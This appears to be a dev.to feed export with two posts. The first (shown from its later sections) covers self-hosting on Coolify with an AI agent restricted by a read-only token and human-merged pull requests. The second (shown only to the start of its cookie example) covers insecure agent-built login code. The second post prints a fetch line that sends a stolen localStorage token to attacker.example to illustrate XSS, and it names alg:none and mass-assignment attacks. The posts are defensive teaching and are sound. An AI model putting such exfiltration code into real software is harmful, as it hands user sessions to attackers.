&lt;td&gt;Bandwidth&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;16 TB/month included&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Running on it&lt;/td&gt;
&lt;td&gt;7 apps, 5 databases, an observability stack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;€27.99/month&lt;/strong&gt; regular, often on promotion around &lt;strong&gt;€10.99&lt;/strong&gt; (what I pay today). VPS only.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Look at the last two lines together. At the promotional price, the whole server costs less than one Vercel Pro seat; at the regular price, roughly one and a half. Either way, the viral month from the table above, 5 TB of transfer, fits inside the bandwidth the plan already includes. One caveat: promotional prices usually cover the first billing term, so budget for the regular price when you renew.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you want the same plan, here's &lt;a href="https://www.hostinger.com/pt?REFERRALCODE=RD1DIOGOSBGK" rel="noopener noreferrer"&gt;my referral link&lt;/a&gt;. Disclosure: it's an affiliate link, so I may earn a commission if you sign up through it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To be precise about "fixed": the &lt;strong&gt;server price&lt;/strong&gt; doesn't change with traffic. A traffic spike can still saturate the server and slow things down, and external services (email, object storage, a CDN) bill separately. What changes is that a bot hammering my API costs me CPU I've already paid for, not a new line on an invoice.&lt;/p&gt;

&lt;p&gt;On sizing: Coolify's &lt;a href="https://coolify.io/docs/start-with-self-hosted" rel="noopener noreferrer"&gt;current docs&lt;/a&gt; list a minimum of &lt;strong&gt;2 CPU cores, 2 GB of RAM and 10 GB of free disk&lt;/strong&gt;, for Coolify alone. Apps, databases and Docker images need room on top. A smaller plan with 2 vCPUs, 8 GB of RAM and 100 GB of disk is a reasonable start for a few small apps with Postgres. I went bigger mostly because builds are the heaviest moment: a &lt;code&gt;next build&lt;/code&gt; can use a lot of memory, and it runs on the same machine that serves your traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  What you give up
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;On Vercel&lt;/th&gt;
&lt;th&gt;On a single VPS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Autoscaling&lt;/td&gt;
&lt;td&gt;You resize the server or add servers yourself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global edge network&lt;/td&gt;
&lt;td&gt;One region, unless you put a CDN in front&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Managed redundancy&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;One server is a single point of failure&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platform security&lt;/td&gt;
&lt;td&gt;OS patches, firewall, SSH, secrets are your job&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That last row is why most people stay on Vercel, so it comes first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Harden the server before the first deploy
&lt;/h2&gt;

&lt;p&gt;The baseline I'd apply to any VPS before installing anything:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SSH&lt;/strong&gt; with keys only, no password login, no root login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatic security updates&lt;/strong&gt; (&lt;code&gt;unattended-upgrades&lt;/code&gt; on Ubuntu/Debian).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A firewall at the cloud provider&lt;/strong&gt; allowing only &lt;code&gt;22&lt;/code&gt; (ideally from your IP), &lt;code&gt;80&lt;/code&gt; and &lt;code&gt;443&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Coolify dashboard&lt;/strong&gt; on its own domain with HTTPS and 2FA, with the default ports (&lt;code&gt;8000&lt;/code&gt;, &lt;code&gt;6001&lt;/code&gt;, &lt;code&gt;6002&lt;/code&gt;) closed once the domain works.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Databases never published&lt;/strong&gt; to the internet. Apps reach them over the internal Docker network; use an SSH tunnel for local access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backups off the server&lt;/strong&gt;, at a different provider, and a restore you've actually tested.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The trap almost everyone falls into: Docker writes its own iptables rules, so ports published by containers bypass &lt;code&gt;ufw&lt;/code&gt;.&lt;/strong&gt; A "deny all" ufw policy can still leave a database on &lt;code&gt;5432&lt;/code&gt; open to the internet. That's why the firewall belongs at the provider level, and why databases shouldn't publish ports at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  Moving a Next.js app off Vercel
&lt;/h2&gt;

&lt;p&gt;Next.js runs as a normal Node server. Enable standalone output so the build contains only what the server needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// next.config.js&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;standalone&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then a multi-stage Dockerfile that runs as a non-root user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-alpine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;build&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; package.json package-lock.json ./&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;npm ci
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;npm run build

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22-alpine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;runner&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; NODE_ENV=production PORT=3000 HOSTNAME=0.0.0.0&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;addgroup &lt;span class="nt"&gt;-S&lt;/span&gt; app &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; adduser &lt;span class="nt"&gt;-S&lt;/span&gt; app &lt;span class="nt"&gt;-G&lt;/span&gt; app
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=build --chown=app:app /app/.next/standalone ./&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=build --chown=app:app /app/.next/static ./.next/static&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=build --chown=app:app /app/public ./public&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; app&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["node", "server.js"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What matters here: the runtime image holds only the compiled output the server needs, not your full source tree, dev dependencies or a root user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep secrets out of the build.&lt;/strong&gt; In Coolify, every env variable has an "Available at Buildtime" option. Turn it off for secrets. Values passed as build arguments can end up in the image metadata (&lt;code&gt;docker history&lt;/code&gt;) or baked into the output if your code reads them during &lt;code&gt;next build&lt;/code&gt;. Only variables the build really needs should be available there, like &lt;code&gt;NEXT_PUBLIC_*&lt;/code&gt;, which are public anyway because Next.js inlines them into the client bundle. If a build truly needs a secret, use Docker build secrets instead of build arguments.&lt;/p&gt;

&lt;p&gt;Then replace the Vercel-specific pieces: &lt;code&gt;vercel.json&lt;/code&gt; crons become Coolify &lt;strong&gt;Scheduled Tasks&lt;/strong&gt;, Vercel Postgres/KV/Blob become Postgres, Redis and any S3-compatible storage, and analytics can move to Plausible or Umami.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;About downtime on deploys.&lt;/strong&gt; Coolify can do &lt;a href="https://coolify.io/docs/applications/deployments/rolling-updates" rel="noopener noreferrer"&gt;rolling updates&lt;/a&gt;: it starts the new container and removes the old one only after the new one passes its health check. That requires a working health check, no host port mapping and no custom container name, and it doesn't apply to Docker Compose apps. Even then, Coolify's docs are clear that it doesn't guarantee zero downtime: your app still has to report readiness correctly and shut down cleanly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Letting an AI agent manage it, with least privilege
&lt;/h2&gt;

&lt;p&gt;The real cost of self-hosting isn't the server. It's the attention needed to set up every project correctly: database, env vars, previews, monitoring, and every security step, every time.&lt;/p&gt;

&lt;p&gt;I do most of that with &lt;strong&gt;Claude Code connected to &lt;a href="https://coolify.io/docs/integrations/mcp" rel="noopener noreferrer"&gt;Coolify's built-in MCP server&lt;/a&gt;&lt;/strong&gt;, which Coolify serves at &lt;code&gt;/mcp&lt;/code&gt; on your own instance and authenticates with a Coolify API token. Through it, the agent inspects every app, database and deployment and checks env variable names against my rules. When a deploy fails, it reads the status and the failure reason and tells me what went wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent can't deploy.&lt;/strong&gt; The token has no &lt;code&gt;deploy&lt;/code&gt; ability, so deploying, starting, stopping or restarting through the MCP is refused. Deploys happen only through Git: each app is connected to its GitHub repository, and Coolify deploys automatically when something is merged into &lt;code&gt;main&lt;/code&gt;. The agent's changes, whether app code, SQL for a database role or a new exporter in my monitoring repo, go through a pull request that I review and merge. &lt;strong&gt;The only path to production is a merge I make.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In practice, GitHub and Coolify work very well together here. Coolify's GitHub App connects each repository, GitHub Actions runs the tests and checks on every pull request, and Coolify can spin up a preview deployment for the same pull request, so I review the code and see it running before I merge. With branch protection requiring those checks to pass, nothing reaches &lt;code&gt;main&lt;/code&gt; untested, and the merge itself is the deploy. It's the same flow I had on Vercel, on infrastructure I control.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvcqdpvzzb2tr6jjebo2x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvcqdpvzzb2tr6jjebo2x.png" alt="Architecture: Claude Code reads Coolify through the built-in MCP with a read-only, team-scoped token, and every change goes through a GitHub pull request that I merge to main, which triggers Coolify's auto-deploy" width="800" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The key idea: security is enforced by permissions, not by asking the agent nicely.&lt;/strong&gt; An instruction like "don't read secrets" can be ignored or bypassed by a prompt injection. A token that can't read secrets can't be talked into it.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What it enforces&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API token scope&lt;/td&gt;
&lt;td&gt;Bound to one team: the MCP only returns resources that team owns.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No &lt;code&gt;read:sensitive&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The token doesn't have it, so sensitive data stays out of reach. I tested it: asking for a deployment's log summary is refused with &lt;code&gt;Missing required permissions: read:sensitive&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Names, never values&lt;/td&gt;
&lt;td&gt;The MCP lists env variable &lt;strong&gt;names and flags&lt;/strong&gt; (runtime, build time, preview), never their values, and never returns configuration snapshots.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No &lt;code&gt;deploy&lt;/code&gt; ability&lt;/td&gt;
&lt;td&gt;Deploy, start, stop and restart all need it, and the token doesn't have it. Production changes only through the GitHub auto-deploy when I merge into &lt;code&gt;main&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No shell access&lt;/td&gt;
&lt;td&gt;No SSH key and no shell on the host. The agent only sees what the MCP exposes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Human approval&lt;/td&gt;
&lt;td&gt;Every change reaches production through a pull request I review and merge. SQL is reviewed before it runs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The rules are the other half. My &lt;code&gt;CLAUDE.md&lt;/code&gt; has a checklist that the agent applies to every new project before its first deploy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## New project on Coolify&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Dedicated database role (NOSUPERUSER NOCREATEDB NOCREATEROLE),
  never the &lt;span class="sb"&gt;`postgres`&lt;/span&gt; superuser in DATABASE_URL.
&lt;span class="p"&gt;-&lt;/span&gt; Admin seed runs once; then ADMIN_PASSWORD is removed and the
  password is changed in the app, with 2FA.
&lt;span class="p"&gt;-&lt;/span&gt; Secrets are runtime-only: "Available at Buildtime" unchecked.
&lt;span class="p"&gt;-&lt;/span&gt; Preview env vars get their own values, never production ones.
&lt;span class="p"&gt;-&lt;/span&gt; The new database gets a monitoring user and an exporter.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each rule closes a specific hole. An app connected as the database superuser turns one SQL injection into "drop every database on the server". A preview pointing at production lets a buggy pull request change real data. A leftover admin password is a backdoor nobody remembers to rotate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What permissions don't solve.&lt;/strong&gt; &lt;code&gt;CLAUDE.md&lt;/code&gt; is guidance, not isolation: it makes the agent consistent, but only the token and the MCP server actually restrict it. Prompt injection through logs or web pages is still possible, which is why the token's scope is the real limit on the damage. And the agent can be confidently wrong, so I review what it changes.&lt;/p&gt;

&lt;p&gt;Writing these rules down also made something uncomfortable visible: apps I had set up &lt;em&gt;before&lt;/em&gt; the rules existed don't all follow them. Asking the agent to audit my own infrastructure against them is the subject of the next post.&lt;/p&gt;




&lt;h2&gt;
  
  
  When I'd still choose Vercel
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nobody on the team wants to own infrastructure&lt;/strong&gt;, even with an agent helping.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Traffic is global and very spiky&lt;/strong&gt;, and edge latency matters more than cost.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You depend on Vercel-specific features&lt;/strong&gt; and time-to-market beats everything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's a short-lived demo&lt;/strong&gt; that stays inside the included usage.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For side projects and early MVPs, a VPS with Coolify and a well-constrained agent has been the better deal for me. And if an MVP outgrows one server, every app is already a Docker image: resize, split the database out, add servers, or move to a managed platform without rewriting anything.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Isn't your time worth more than the savings?&lt;/strong&gt;&lt;br&gt;
The server setup is mostly a one-time cost. The per-project work is what the agent now does from the checklist. What remains is reviewing its changes and watching alerts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What happens if the server dies?&lt;/strong&gt;&lt;br&gt;
Everything on it goes down; that's the biggest trade-off. Mitigation: off-site database backups, app config in Git, every app rebuildable from its image. Test the restore at least once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What about DDoS and abusive bots?&lt;/strong&gt;&lt;br&gt;
A single VPS can't absorb a real DDoS. Put a CDN/proxy like Cloudflare in front and rate limit expensive endpoints. Within the plan's bandwidth allowance, an attack costs you performance rather than an unexpected bill, though what happens beyond that allowance, and with any paid external services, depends on your provider.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Coolify and not Dokploy, CapRover or plain Docker Compose?&lt;/strong&gt;&lt;br&gt;
All valid. I picked Coolify for its previews, database backups and, mainly, its API, which is what lets an agent manage it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do I need Claude Code specifically?&lt;/strong&gt;&lt;br&gt;
No. Any agent that supports MCP or can call the Coolify API works. The guardrails matter more than the agent.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vercel's problem for MVPs is predictability, not quality.&lt;/strong&gt; Usage-based billing means a bigger bill or a paused app at the worst moment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Coolify on a VPS covers most of the developer experience&lt;/strong&gt; at a known monthly price, with no lock-in.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Harden the server first&lt;/strong&gt;, and remember that Docker-published ports bypass ufw.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep secrets out of the build&lt;/strong&gt;: runtime-only env vars, build secrets when unavoidable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI doesn't remove infrastructure responsibility. It changes how you manage it&lt;/strong&gt;: least-privilege tokens enforce the limits, written rules give consistency, and a human approves what can't be undone.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you let an agent touch your infrastructure, how do you limit what it can do? I'd like to compare approaches in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to, let's connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>nextjs</category>
      <category>ai</category>
      <category>security</category>
    </item>
    <item>
      <title>Your AI Agent Will Build an Insecure Login, Unless You Tell It Not To</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Mon, 19 Oct 2026 07:21:41 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/your-ai-agent-will-build-an-insecure-login-unless-you-tell-it-not-to-54nj</link>
      <guid>https://dev.to/soaresdiogo/your-ai-agent-will-build-an-insecure-login-unless-you-tell-it-not-to-54nj</guid>
      <description>&lt;p&gt;"Build me an app with login."&lt;/p&gt;

&lt;p&gt;It's one of the most common prompts people give to coding agents, and it almost always "works". You get a form, a &lt;code&gt;/login&lt;/code&gt; endpoint, a JWT, a protected page. The demo runs and you ship.&lt;/p&gt;

&lt;p&gt;Then you open DevTools → &lt;strong&gt;Application → Local Storage&lt;/strong&gt; and find this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That one line means &lt;strong&gt;any XSS vulnerability anywhere in your app gives an attacker your users' sessions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This isn't a bug in the model. The agent did what you asked, in the shortest way it knows. Most auth tutorials on the internet use this pattern, so that's what you get by default. &lt;strong&gt;An AI agent treats security as a requirement, not a default.&lt;/strong&gt; If you don't specify it, you don't get it.&lt;/p&gt;

&lt;p&gt;This post covers two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;What a secure authentication baseline looks like in 2026&lt;/strong&gt;, and why each piece matters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How to ask your agent for it&lt;/strong&gt; so you get it every time without repeating yourself.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Part 1: What the agent builds when you don't ask
&lt;/h2&gt;

&lt;p&gt;Here's what "app with login" usually produces when nothing else is specified:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Shortcut the agent takes&lt;/th&gt;
&lt;th&gt;Why it's a problem&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Token in &lt;code&gt;localStorage&lt;/code&gt; / &lt;code&gt;sessionStorage&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Readable by any JavaScript on the page. One XSS = token exfiltrated.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;One long-lived JWT (hours or days), no refresh&lt;/td&gt;
&lt;td&gt;A stolen token keeps working until it expires. Logout doesn't revoke anything.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HS256 with a hard-coded secret (&lt;code&gt;"supersecret"&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Anyone with the secret can mint tokens. It often ends up committed to git.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;jwt.decode()&lt;/code&gt; or &lt;code&gt;jwt.verify()&lt;/code&gt; without pinned algorithms&lt;/td&gt;
&lt;td&gt;Opens the door to &lt;code&gt;alg: none&lt;/code&gt; and algorithm confusion attacks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No rate limiting on &lt;code&gt;/login&lt;/code&gt; or &lt;code&gt;/register&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Credential stuffing, brute force and scripted sign-ups cost nothing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Invalid password" vs "User not found"&lt;/td&gt;
&lt;td&gt;User enumeration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"An account with this email already exists" on sign-up&lt;/td&gt;
&lt;td&gt;The same enumeration leak, on a different form.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;User.create(req.body)&lt;/code&gt; on sign-up&lt;/td&gt;
&lt;td&gt;Mass assignment: send &lt;code&gt;"role": "admin"&lt;/code&gt; and see what happens.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No 2FA&lt;/td&gt;
&lt;td&gt;A leaked password is a full account takeover.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No CSP or security headers&lt;/td&gt;
&lt;td&gt;Nothing limits the impact of an XSS.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;None of these show up in a demo. All of them show up in a pentest.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why &lt;code&gt;localStorage&lt;/code&gt; is the big one
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;localStorage&lt;/code&gt; and &lt;code&gt;sessionStorage&lt;/code&gt; are available to &lt;strong&gt;every script that runs on your origin&lt;/strong&gt;. That includes your code, every npm dependency in your bundle, every third-party script (analytics, chat widgets, A/B testing) and any script an attacker manages to inject.&lt;/p&gt;

&lt;p&gt;The XSS doesn't even need to be in the login page. A Markdown renderer that doesn't sanitize, a compromised dependency, or a &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; in a comments component can all run code like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.example/steal?t=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the attacker has a bearer token they can use &lt;strong&gt;from their own machine&lt;/strong&gt;, for as long as it stays valid.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;HttpOnly&lt;/code&gt; cookie is invisible to JavaScript, so &lt;code&gt;document.cookie&lt;/code&gt; can't read it and that exfiltration path is gone.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Being honest about the limits:&lt;/strong&gt; &lt;code&gt;HttpOnly&lt;/code&gt; doesn't make XSS harmless. Injected script can still send requests &lt;em&gt;from the victim's browser&lt;/em&gt; while the page is open. What it prevents is &lt;strong&gt;token theft and persistence&lt;/strong&gt;, where the attacker walks away with a credential. That's why cookies come together with a strict Content Security Policy, short token lifetimes and output escaping. It's defense in depth, not one silver bullet.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Part 2: The secure authentication baseline
&lt;/h2&gt;

&lt;p&gt;This is the baseline I use on every project with authentication. Each item answers one question: &lt;em&gt;"How would I exploit this?"&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Tokens live in hardened cookies, never in web storage
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Express example&lt;/span&gt;
&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;__Host-access_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// invisible to JavaScript, so XSS can't read it&lt;/span&gt;
  &lt;span class="na"&gt;secure&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="c1"&gt;// HTTPS only&lt;/span&gt;
  &lt;span class="na"&gt;sameSite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;strict&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// not sent on cross-site requests ("lax" if you have a reason)&lt;/span&gt;
